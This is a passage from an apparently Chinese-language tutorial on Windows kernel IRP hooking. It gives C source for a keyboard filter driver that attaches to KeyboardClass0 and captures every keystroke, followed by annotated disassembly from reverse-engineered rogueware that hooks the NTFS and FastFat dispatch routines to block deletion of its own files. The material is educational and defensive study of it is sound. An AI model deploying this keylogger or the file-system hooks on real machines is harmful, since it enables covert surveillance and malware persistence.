ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
g_drvobj = DriverObject;
HookpIofCallDriver();
return status;
}
方法二例子
这个例子比较长,我们只看关键代码并说明.
1。将自己挂接到"\\Device\\KeyboardClass0"设备上
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Entering Hook Routine...\n");
PDEVICE_OBJECT pKeyboardDeviceObject;
NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);
if(!NT_SUCCESS(status))
return status;
DbgPrint("Created keyboard device successfully...\n");
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
DbgPrint("Flags set succesfully...\n");
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
DbgPrint("Device Extension Initialized...\n");
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString( &ntNameString, ntNameBuffer );
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
DbgPrint("Filter Device Attached Successfully...\n");
return STATUS_SUCCESS;
}
//我们感兴趣的irp处理。由于我们要处理的按键信息,需要等底层驱动处理完成返回后才能取回
//按键值,因此,我们设置完成例程,用于底层驱动完成irp后回调我们的例程。我们设置好完成例//程后,就把irp传到底层驱动进行处理。
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
DbgPrint("Entering DispatchRead Routine...\n");
PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp);
*nextIrpStack = *currentIrpStack;
IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
numPendingIrps++;
DbgPrint("Tagged keyboard 'read' IRP... Passing IRP down the stack... \n");
return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}
//这是完成例程,我们在这里处理得到的按键信息。
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
DbgPrint("Entering OnReadCompletion Routine...\n");
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
if(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
for(int i = 0; i < numKeys; i++)
{
DbgPrint("ScanCode: %x\n", keys[i].MakeCode);
if(keys[i].Flags == KEY_BREAK)
DbgPrint("%s\n","Key Up");
if(keys[i].Flags == KEY_MAKE)
DbgPrint("%s\n","Key Down");
KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags = (char)keys[i].Flags;
DbgPrint("Adding IRP to work queue...");
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
}
}
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
numPendingIrps--;
return pIrp->IoStatus.Status;
}
在这个demo中要注意的是,由于irp的处理函数的IRQL = DISPATCH_LEVEL,因此,我们申请内存的话,只能申请非分页内存。在这个IRQL级别,我们不能创建或者保存文件来记录按键信息。
我们只能创建一个系统线程,在系统线程中完成按键信息的保存。
后面附上DEMO.
方法三的例子,偶比较懒了,就从流氓软件逆向代码中抠出一段来贴上。有时间的话,我会再写一个demo附上。我已经给加上了详细地注释,很容易明白。
.text:000186A4 sub_186A4 proc near ; CODE XREF: sub_16FDA+19p
.text:000186A4
.text:000186A4 DestinationString= UNICODE_STRING ptr -18h
.text:000186A4 var_10 = dword ptr -10h
.text:000186A4 var_C = dword ptr -0Ch
.text:000186A4 var_8 = dword ptr -8
.text:000186A4 var_4 = dword ptr -4
.text:000186A4
.text:000186A4 push ebp
.text:000186A5 mov ebp, esp
.text:000186A7 sub esp, 18h
.text:000186AA push ebx
.text:000186AB push esi
.text:000186AC push edi
.text:000186AD push 10h
.text:000186AF pop ecx ; ecx = 10h
.text:000186B0 xor eax, eax
.text:000186B2 mov edi, offset dword_36DE0
.text:000186B7 mov esi, offset dword_36DFC
.text:000186BC rep stosd ; 清零dword_36de0至dword_36e20的空间
.text:000186BE mov [ebp+var_10], offset aFilesystemNtfs ; "\\FileSystem\\Ntfs"
.text:000186C5 mov [ebp+var_C], offset aFilesystemFast ; "\\FileSystem\\Fastfat"
.text:000186CC mov ebx, esi
.text:000186CE lea edi, [ebp+var_10]
.text:000186D1 mov [ebp+var_8], 2 ; var_8是一个循环变量
.text:000186D8
.text:000186D8 loc_186D8: ; CODE XREF: sub_186A4+72j
.text:000186D8 push dword ptr [edi] ; SourceString
.text:000186DA lea eax, [ebp+DestinationString]
.text:000186DD push eax ; DestinationString
.text:000186DE call ds:RtlInitUnicodeString ; 转换"\\FileSystem\\Ntfs"字符串为UNICODE_STRING类型
.text:000186E4 lea eax, [ebp+var_4] ; 用于存放输出的Object指针
.text:000186E7 push eax
.text:000186E8 xor eax, eax
.text:000186EA push eax
.text:000186EB push eax
.text:000186EC push ds:IoDriverObjectType
.text:000186F2 push eax
.text:000186F3 push eax
.text:000186F4 push 40h
.text:000186F6 lea eax, [ebp+DestinationString]
.text:000186F9 push eax
.text:000186FA call ds:ObReferenceObjectByName ; NTSTATUS
.text:000186FA ; ObReferenceObjectByName (
.text:000186FA ; __in PUNICODE_STRING ObjectName,
.text:000186FA ; __in ULONG Attributes,
.text:000186FA ; __in_opt PACCESS_STATE AccessState,
.text:000186FA ; __in_opt ACCESS_MASK DesiredAccess,
.text:000186FA ; __in POBJECT_TYPE ObjectType,
.text:000186FA ; __in KPROCESSOR_MODE AccessMode,
.text:000186FA ; __inout_opt PVOID ParseContext,
.text:000186FA ; __out PVOID *Object
.text:000186FA ; )
.text:000186FA ;
.text:000186FA ; /*++
.text:000186FA ;
.text:000186FA ; Routine Description:
.text:000186FA ;
.text:000186FA ; Given a name of an object this routine returns a pointer
.text:000186FA ; to the body of the object with proper ref counts
.text:000186FA ;
.text:000186FA ; Arguments:
.text:000186FA ;
.text:000186FA ; ObjectName - Supplies the name of the object being referenced
.text:000186FA ;
.text:000186FA ; Attributes - Supplies the desired handle attributes
.text:000186FA ;
.text:000186FA ; AccessState - Supplies an optional pointer to the current access
.text:000186FA ; status describing already granted access types, the privileges used
.text:000186FA ; to get them, and any access types yet to be granted.
.text:000186FA ;
.text:000186FA ; DesiredAccess - Optionally supplies the desired access to the
.text:000186FA ; for the object
.text:000186FA ;
.text:000186FA ; ObjectType - Specifies the object type according to the caller
.text:000186FA ;
.text:000186FA ;
.text:00018700 test eax, eax ; AccessMode - Supplies the processor mode of the access
.text:00018700 ;
.text:00018700 ; ParseContext - Optionally supplies a context to pass down to the
.text:00018700 ; parse routine
.text:00018700 ;
.text:00018700 ; Object - Receives a pointer to the referenced object body
.text:00018700 ;
.text:00018700 ; Return Value:
.text:00018700 ;
.text:00018700 ; An appropriate NTSTATUS value
.text:00018700 ;
.text:00018700 ; --*/
.text:00018702 jge short loc_18708 ; 成功则跳转
.text:00018704 and [ebp+var_4], 0
.text:00018708
.text:00018708 loc_18708: ; CODE XREF: sub_186A4+5Ej
.text:00018708 mov eax, [ebp+var_4] ; 分别取出"\\FileSystem\\Fastfat"和"\\FileSystem\\Ntfs"的对象指针
.text:0001870B mov [ebx], eax
.text:0001870D add edi, 4 ; edi指向var_c
.text:00018710 add ebx, 20h ; ebx指向36e10
.text:00018713 dec [ebp+var_8]
.text:00018716 jnz short loc_186D8
.text:00018718 mov edi, ds:InterlockedExchange
.text:0001871E push 2
.text:00018720 pop ebx ; ebx = 2,用作计数
.text:00018721
.text:00018721 loc_18721: ; CODE XREF: sub_186A4+DCj
.text:00018721 mov eax, [esi] ; 取前面得到的object指针
.text:00018723 test eax, eax
.text:00018725 jz short loc_1877C ; 如果取出的对象指针为空,则跳转
.text:00018727 lea ecx, [eax+38h] ; Target
.text:0001872A mov edx, offset loc_184C7 ; Value
.text:0001872F call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CREATE]
.text:00018731 mov ecx, [esi]
.text:00018733 add ecx, 40h ; Target
.text:00018736 mov edx, offset loc_1851F ; Value
.text:0001873B mov [esi-1Ch], eax ; 保存原始值
.text:0001873E call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CLOSE]
.text:00018740 mov ecx, [esi]
.text:00018742 add ecx, 50h ; Target
.text:00018745 mov edx, offset loc_18577 ; Value
.text:0001874A mov [esi-18h], eax ; 保存原始值
.text:0001874D call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_SET_INFORMATION],用于防删除
.text:0001874F mov ecx, [esi]
.text:00018751 add ecx, 48h ; Target
.text:00018754 mov edx, offset loc_185CF ; Value
.text:00018759 mov [esi-14h], eax ; 保存原始值
.text:0001875C call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_WRITE]
.text:0001875E mov [esi-10h], eax ; 保存原始值
.text:00018761 mov eax, [esi]
.text:00018763 mov eax, [eax+28h] ; FastIoDispatch
.text:00018766 test eax, eax
.text:00018768 jz short loc_1877C ; 取下一个,并计数器减一
.text:0001876A lea ecx, [eax+0Ch] ; Target
.text:0001876D cmp dword ptr [ecx], 0 ; 判断FastIoDispatch->FastIoWrite是否为空
.text:00018770 jz short loc_1877C ; 取下一个,并计数器减一
.text:00018772 mov edx, offset sub_18627 ; Value
.text:00018777 call edi ; InterlockedExchange ; 替换FastIoDispatch->FastIoWrite
.text:00018779 mov [esi-8], eax ; 保存原始值
.text:0001877C
.text:0001877C loc_1877C: ; CODE XREF: sub_186A4+81j
.text:0001877C ; sub_186A4+C4j ...
.text:0001877C add esi, 20h ; 取下一个,并计数器减一
.text:0001877F dec ebx
.text:00018780 jnz short loc_18721 ; 取前面得到的object指针
.text:00018782 pop edi
.text:00018783 pop esi
.text:00018784 pop ebx
.text:00018785 leave
.text:00018786 retn
.text:00018786 sub_186A4 endp
.text:00018786
在一般情况下,某事物个体发生具有其特有属性的负面现象,且无法以科学的角度得到合理有效的解释。我们通常称此类现象为“人品问题”(RPWT)。
——摘自《辞海》第314页